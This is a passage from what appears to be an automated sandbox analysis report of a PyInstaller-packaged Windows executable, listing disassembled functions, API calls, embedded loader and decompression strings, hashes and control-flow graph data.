                                              • Opcode Fuzzy Hash: 8482aad9305a30c551bfc572177b6762c68ebfb4afe3bdfce811c5be068ed5ba
                                              • Instruction Fuzzy Hash: 51C1AD37B28A4685EB50CF68C4916AC3771EB49BA8B051325DB3E9B3D4EF39E455C380
                                              Function 00007FF6FFD17B60 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              • GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF6FFD1153F), ref: 00007FF6FFD17BF7
                                                • Part of subcall function 00007FF6FFD17D70: GetEnvironmentVariableW.KERNEL32(00007FF6FFD139FF), ref: 00007FF6FFD17DAA
                                                • Part of subcall function 00007FF6FFD17D70: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6FFD17DC7
                                                • Part of subcall function 00007FF6FFD28610: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FFD28629
                                              • SetEnvironmentVariableW.KERNEL32 ref: 00007FF6FFD17CB1
                                                • Part of subcall function 00007FF6FFD12B10: MessageBoxW.USER32 ref: 00007FF6FFD12BE5
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
                                              • String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
                                              • API String ID: 3752271684-1116378104
                                              • Opcode ID: c156423b33866011d019db228dcac7379af2ead993036b2191ec76f2d14005c3
                                              • Instruction ID: 4cc1f7f385cfa5daeef03ef37ca126c21947218ff024f8ae96d58593adc2865c
                                              • Opcode Fuzzy Hash: c156423b33866011d019db228dcac7379af2ead993036b2191ec76f2d14005c3
                                              • Instruction Fuzzy Hash: CD512721B4964641FB54AB22A9162BE73916F89BC0F484731E93ECB7E7FD2DE40582C0
                                              Function 00007FF6FFD1A76D Relevance: 12.0, Strings: 9, Instructions: 745COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
                                              • API String ID: 0-2665694366
                                              • Opcode ID: 63f3ffa9379e1e3dea1ad36e367ec88dcfea323b25a29ef61fa4fbcfb838a92b
                                              • Instruction ID: e0bfea77eef9ac3731fc45b79098e54d55e976934b2792b9d8d12d7029d9a338
                                              • Opcode Fuzzy Hash: 63f3ffa9379e1e3dea1ad36e367ec88dcfea323b25a29ef61fa4fbcfb838a92b
                                              • Instruction Fuzzy Hash: 3D52A572A186A68BE7588F14D558B7E3BA9FB44340F414339E66AC77C0EF39D944CB80
                                              Function 00007FF6FFD36DCC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143timeCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 935 7ff6ffd36dcc-7ff6ffd36e01 call 7ff6ffd364d8 call 7ff6ffd364e0 call 7ff6ffd36548 942 7ff6ffd36e07-7ff6ffd36e12 call 7ff6ffd364e8 935->942 943 7ff6ffd36f3f-7ff6ffd36fad call 7ff6ffd2b6b8 call 7ff6ffd323d0 935->943 942->943 948 7ff6ffd36e18-7ff6ffd36e23 call 7ff6ffd36518 942->948 954 7ff6ffd36fbb-7ff6ffd36fbe 943->954 955 7ff6ffd36faf-7ff6ffd36fb6 943->955 948->943 956 7ff6ffd36e29-7ff6ffd36e4c call 7ff6ffd2b700 GetTimeZoneInformation 948->956 958 7ff6ffd36fc0 954->958 959 7ff6ffd36ff5-7ff6ffd37008 call 7ff6ffd2e3ac 954->959 957 7ff6ffd3704b-7ff6ffd3704e 955->957 965 7ff6ffd36f14-7ff6ffd36f3e call 7ff6ffd364d0 call 7ff6ffd364c0 call 7ff6ffd364c8 956->965 966 7ff6ffd36e52-7ff6ffd36e73 956->966 961 7ff6ffd37054-7ff6ffd3705c call 7ff6ffd36b50 957->961 962 7ff6ffd36fc3 call 7ff6ffd36dcc 957->962 958->962 974 7ff6ffd3700a 959->974 975 7ff6ffd37013-7ff6ffd3702e call 7ff6ffd323d0 959->975 976 7ff6ffd36fc8-7ff6ffd36ff4 call 7ff6ffd2b700 call 7ff6ffd1c010 961->976 962->976 970 7ff6ffd36e7e-7ff6ffd36e85 966->970 971 7ff6ffd36e75-7ff6ffd36e7b 966->971 977 7ff6ffd36e99 970->977 978 7ff6ffd36e87-7ff6ffd36e8f 970->978 971->970 980 7ff6ffd3700c-7ff6ffd37011 call 7ff6ffd2b700 974->980 993 7ff6ffd37030-7ff6ffd37033 975->993 994 7ff6ffd37035-7ff6ffd37047 call 7ff6ffd2b700 975->994 986 7ff6ffd36e9b-7ff6ffd36f0f call 7ff6ffd3b580 * 4 call 7ff6ffd339ac call 7ff6ffd37064 * 2 977->986 978->977 984 7ff6ffd36e91-7ff6ffd36e97 978->984 980->958 984->986 986->965 993->980 994->957
                                              APIs
                                              • _get_daylight.LIBCMT ref: 00007FF6FFD36DFA
                                                • Part of subcall function 00007FF6FFD36548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FFD3655C
                                              • _get_daylight.LIBCMT ref: 00007FF6FFD36E0B
                                                • Part of subcall function 00007FF6FFD364E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FFD364FC
                                              • _get_daylight.LIBCMT ref: 00007FF6FFD36E1C
                                                • Part of subcall function 00007FF6FFD36518: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FFD3652C
                                                • Part of subcall function 00007FF6FFD2B700: RtlDeleteBoundaryDescriptor.NTDLL(?,?,?,00007FF6FFD33B72,?,?,?,00007FF6FFD33BAF,?,?,00000000,00007FF6FFD34075,?,?,00000000,00007FF6FFD33FA7), ref: 00007FF6FFD2B716
                                                • Part of subcall function 00007FF6FFD2B700: GetLastError.KERNEL32(?,?,?,00007FF6FFD33B72,?,?,?,00007FF6FFD33BAF,?,?,00000000,00007FF6FFD34075,?,?,00000000,00007FF6FFD33FA7), ref: 00007FF6FFD2B720
                                              • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6FFD3705C), ref: 00007FF6FFD36E43
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _get_daylight_invalid_parameter_noinfo$BoundaryDeleteDescriptorErrorInformationLastTimeZone
                                              • String ID: W. Europe Standard Time$W. Europe Summer Time
                                              • API String ID: 1511944507-690618308
                                              • Opcode ID: 3ce9ff365909c35cfda0cd92fd9b5c2b6ab9c6a7c0cfccc6144e1dd1acbf6dd4
                                              • Instruction ID: 20a9cc7af4c358b9246a345a7e4588a24b9bbef32926531f37683586fd304f77
                                              • Opcode Fuzzy Hash: 3ce9ff365909c35cfda0cd92fd9b5c2b6ab9c6a7c0cfccc6144e1dd1acbf6dd4
                                              • Instruction Fuzzy Hash: A7512B36A1864286F720EF25E8925A96760FB48784F444335EB7DC7AE6FF7CE4448780
                                              Function 00007FF6FFD19F3B Relevance: 4.1, Strings: 3, Instructions: 397COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: $header crc mismatch$unknown header flags set
                                              • API String ID: 0-1127688429
                                              • Opcode ID: a8b055446104684f1ad95e328151202d31fdc591d47a14639da6131c49358b20
                                              • Instruction ID: d2f262c83cb38c5fa456ba97cc33a1f267c5b1b733673784d4f5a2cd8536c226
                                              • Opcode Fuzzy Hash: a8b055446104684f1ad95e328151202d31fdc591d47a14639da6131c49358b20
                                              • Instruction Fuzzy Hash: 93F18F72A183D54AF7A99F148088B3A3BA9EF44744F054779EA79873D1EF38E940C780
                                              Function 00007FF6FFD18D00 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Find$CloseFileFirst
                                              • String ID:
                                              • API String ID: 2295610775-0
                                              • Opcode ID: ecdf086f063d1ff4b022191a002e9e17b8509f6d6c47db3a09a7631b022981ea
                                              • Instruction ID: 4ecbeb8b7f558a0ef2266e3acb845b3b1392a2adb92593d6d9ff968a1d27260f
                                              • Opcode Fuzzy Hash: ecdf086f063d1ff4b022191a002e9e17b8509f6d6c47db3a09a7631b022981ea
                                              • Instruction Fuzzy Hash: 78F04432A187858AF7A0CF64E48976673A0FB84764F040735D67D466E4EF7CD01C9B44
                                              Function 00007FF6FFD19D9B Relevance: 2.7, Strings: 2, Instructions: 218COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: incorrect header check$invalid window size
                                              • API String ID: 0-900081337
                                              • Opcode ID: 7b159ed6ab11f424a85810e34fe73a423a8b15e185d016247a9cbb34ea0f7710
                                              • Instruction ID: c17d873cd374fbe8403c4ffe247ef4daba05b73724d747eec49f4000feae951f
                                              • Opcode Fuzzy Hash: 7b159ed6ab11f424a85810e34fe73a423a8b15e185d016247a9cbb34ea0f7710
                                              • Instruction Fuzzy Hash: AE919672A192C687F7A58E14D448B3E3BA9FB44358F115339DA7A867D0EF38E540CB81
                                              Function 00007FF6FFD31720 Relevance: 2.0, APIs: 1, Instructions: 461COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: CurrentFeaturePresentProcessProcessor
                                              • String ID:
                                              • API String ID: 1010374628-0
                                              • Opcode ID: b07a4aa98c3ea62428db7ff75e9c78d2acc70f0ed8e8990dbcc6d64e325556f5
                                              • Instruction ID: 7aa62b7c47bd4731975b37517a67eba17ff953de29537f6d690b750cffca7f30
                                              • Opcode Fuzzy Hash: b07a4aa98c3ea62428db7ff75e9c78d2acc70f0ed8e8990dbcc6d64e325556f5
                                              • Instruction Fuzzy Hash: DD02AF21E1E64B40FB55AB25A4022796798AF42BA0F184735DE7DC77E6FE7DE40283C0
                                              Function 00007FF6FFD11700 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 0 7ff6ffd11700-7ff6ffd11714 1 7ff6ffd11716-7ff6ffd1172d call 7ff6ffd12b10 0->1 2 7ff6ffd1172e-7ff6ffd11732 0->2 4 7ff6ffd11758-7ff6ffd1177b call 7ff6ffd17e20 2->4 5 7ff6ffd11734-7ff6ffd1173d call 7ff6ffd112a0 2->5 13 7ff6ffd117a9-7ff6ffd117c4 call 7ff6ffd14060 4->13 14 7ff6ffd1177d-7ff6ffd117a8 call 7ff6ffd12870 4->14 11 7ff6ffd1174f-7ff6ffd11757 5->11 12 7ff6ffd1173f-7ff6ffd1174a call 7ff6ffd12b10 5->12 12->11 20 7ff6ffd117c6-7ff6ffd117d9 call 7ff6ffd12b10 13->20 21 7ff6ffd117de-7ff6ffd117f1 call 7ff6ffd21004 13->21 28 7ff6ffd1191f-7ff6ffd11922 call 7ff6ffd2097c 20->28 26 7ff6ffd11813-7ff6ffd11817 21->26 27 7ff6ffd117f3-7ff6ffd1180e call 7ff6ffd12870 21->27 31 7ff6ffd11819-7ff6ffd11825 call 7ff6ffd11050 26->31 32 7ff6ffd11831-7ff6ffd11851 call 7ff6ffd25780 26->32 37 7ff6ffd11917-7ff6ffd1191a call 7ff6ffd2097c 27->37 34 7ff6ffd11927-7ff6ffd1193e 28->34 38 7ff6ffd1182a-7ff6ffd1182c 31->38 41 7ff6ffd11872-7ff6ffd11878 32->41 42 7ff6ffd11853-7ff6ffd1186d call 7ff6ffd12870 32->42 37->28 38->37 43 7ff6ffd1187e-7ff6ffd11887 41->43 44 7ff6ffd11905-7ff6ffd11908 call 7ff6ffd2576c 41->44 49 7ff6ffd1190d-7ff6ffd11912 42->49 47 7ff6ffd11890-7ff6ffd118b2 call 7ff6ffd20ccc 43->47 44->49 52 7ff6ffd118b4-7ff6ffd118cc call 7ff6ffd2140c 47->52 53 7ff6ffd118e5-7ff6ffd118ec 47->53 49->37 58 7ff6ffd118ce-7ff6ffd118d1 52->58 59 7ff6ffd118d5-7ff6ffd118e3 52->59 55 7ff6ffd118f3-7ff6ffd118fb call 7ff6ffd12870 53->55 62 7ff6ffd11900 55->62 58->47 61 7ff6ffd118d3 58->61 59->55 61->62 62->44
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Message
                                              • String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
                                              • API String ID: 2030045667-3833288071
                                              • Opcode ID: 6826606abc46c6f749a8f23a8019d2192ec10667c35fa524304e59b6c347ccfe
                                              • Instruction ID: 0265e413d73f744f81a0cdfd1497f982779a3deeea91768f92203c6ae99b325b
                                              • Opcode Fuzzy Hash: 6826606abc46c6f749a8f23a8019d2192ec10667c35fa524304e59b6c347ccfe
                                              • Instruction Fuzzy Hash: B2519AA2B0864282FB109B16E8412B97399BF44BD4F444331DE3D877E6FE2DE649C380
                                              Function 00007FF6FFD11A90 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _fread_nolock$Message
                                              • String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
                                              • API String ID: 677216364-1384898525
                                              • Opcode ID: 5aa1cef1f9c65eb7dc7af11826d375d55daac60b4fa8aa4517127262df1d4ab5
                                              • Instruction ID: f6d81b92459f18a9782a3dc27d38dfac376daf61ec4fc8dce1b09119b99d7fc3
                                              • Opcode Fuzzy Hash: 5aa1cef1f9c65eb7dc7af11826d375d55daac60b4fa8aa4517127262df1d4ab5
                                              • Instruction Fuzzy Hash: 26515A72A0964286EB24DF28E59517873A5EF48B84F618335DA3DC77D5EE2CE440C784
                                              Function 00007FF6FFD18290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90processsynchronizationCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
                                              • String ID: CreateProcessW$Error creating child process!
                                              • API String ID: 2895956056-3524285272
                                              • Opcode ID: b7abaf37a347f063a3628d3e0586489636cc93df3d8b7db5f5a9dd5ff1266243
                                              • Instruction ID: a3e999b796eb08dd1e51c91b23378ba93a43ce9efa827cd84c8598c32fceff0b
                                              • Opcode Fuzzy Hash: b7abaf37a347f063a3628d3e0586489636cc93df3d8b7db5f5a9dd5ff1266243
                                              • Instruction Fuzzy Hash: 4C412132A08B8281EB209B64F4552AAB3A0FF947A4F500735E6BD877D5EF7CD054CB80
                                              Function 00007FF6FFD11050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Message
                                              • String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                              • API String ID: 2030045667-2813020118
                                              • Opcode ID: 91d63d71ecff8ee0095e6b398600644a885a8c616fb7f90c005b0d802e017823
                                              • Instruction ID: 1e97e67aff6999c969670b5fc22a49e840c12cb7f8275c3732641ec248662227
                                              • Opcode Fuzzy Hash: 91d63d71ecff8ee0095e6b398600644a885a8c616fb7f90c005b0d802e017823
                                              • Instruction Fuzzy Hash: 2E51BB62A09A8281FB609B11A4413BA7399BB84B94F484331EE7DC77D6FF3CE545C780
                                              Function 00007FF6FFD2F9C0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              • FreeLibrary.KERNEL32(?,?,?,00007FF6FFD2FD5A,?,?,-00000018,00007FF6FFD2BB0B,?,?,?,00007FF6FFD2BA02,?,?,?,00007FF6FFD2698E), ref: 00007FF6FFD2FB3C
                                              • GetProcAddress.KERNEL32(?,?,?,00007FF6FFD2FD5A,?,?,-00000018,00007FF6FFD2BB0B,?,?,?,00007FF6FFD2BA02,?,?,?,00007FF6FFD2698E), ref: 00007FF6FFD2FB48
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: AddressFreeLibraryProc
                                              • String ID: api-ms-$ext-ms-
                                              • API String ID: 3013587201-537541572
                                              • Opcode ID: 92e1c6cccb7ec25b4476ca22e51d2624e921c13e1215ab17a1d429f3080250c2
                                              • Instruction ID: f006bbcca3de3531e4b45def4c4ed04b66233a6a282eb74707b80864c3e15fb5
                                              • Opcode Fuzzy Hash: 92e1c6cccb7ec25b4476ca22e51d2624e921c13e1215ab17a1d429f3080250c2
                                              • Instruction Fuzzy Hash: 5141BC22B19A0281FB16DB16A8146A92395BF49BE0F094B35DD3DD77C8FE3EE44593C0
                                              Function 00007FF6FFD2C80C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 822 7ff6ffd2c80c-7ff6ffd2c832 823 7ff6ffd2c84d-7ff6ffd2c851 822->823 824 7ff6ffd2c834-7ff6ffd2c848 call 7ff6ffd25c94 call 7ff6ffd25cb4 822->824 826 7ff6ffd2cc27-7ff6ffd2cc33 call 7ff6ffd25c94 call 7ff6ffd25cb4 823->826 827 7ff6ffd2c857-7ff6ffd2c85e 823->827 842 7ff6ffd2cc3e 824->842 844 7ff6ffd2cc39 call 7ff6ffd2b698 826->844 827->826 829 7ff6ffd2c864-7ff6ffd2c892 827->829 829->826 833 7ff6ffd2c898-7ff6ffd2c89f 829->833 834 7ff6ffd2c8b8-7ff6ffd2c8bb 833->834 835 7ff6ffd2c8a1-7ff6ffd2c8b3 call 7ff6ffd25c94 call 7ff6ffd25cb4 833->835 840 7ff6ffd2c8c1-7ff6ffd2c8c7 834->840 841 7ff6ffd2cc23-7ff6ffd2cc25 834->841 835->844 840->841 846 7ff6ffd2c8cd-7ff6ffd2c8d0 840->846 845 7ff6ffd2cc41-7ff6ffd2cc58 841->845 842->845 844->842 846->835 849 7ff6ffd2c8d2-7ff6ffd2c8f7 846->849 851 7ff6ffd2c8f9-7ff6ffd2c8fb 849->851 852 7ff6ffd2c92a-7ff6ffd2c931 849->852 855 7ff6ffd2c8fd-7ff6ffd2c904 851->855 856 7ff6ffd2c922-7ff6ffd2c928 851->856 853 7ff6ffd2c906-7ff6ffd2c91d call 7ff6ffd25c94 call 7ff6ffd25cb4 call 7ff6ffd2b698 852->853 854 7ff6ffd2c933-7ff6ffd2c95b call 7ff6ffd2e3ac call 7ff6ffd2b700 * 2 852->854 883 7ff6ffd2cab0 853->883 885 7ff6ffd2c978-7ff6ffd2c9a3 call 7ff6ffd2d034 854->885 886 7ff6ffd2c95d-7ff6ffd2c973 call 7ff6ffd25cb4 call 7ff6ffd25c94 854->886 855->853 855->856 857 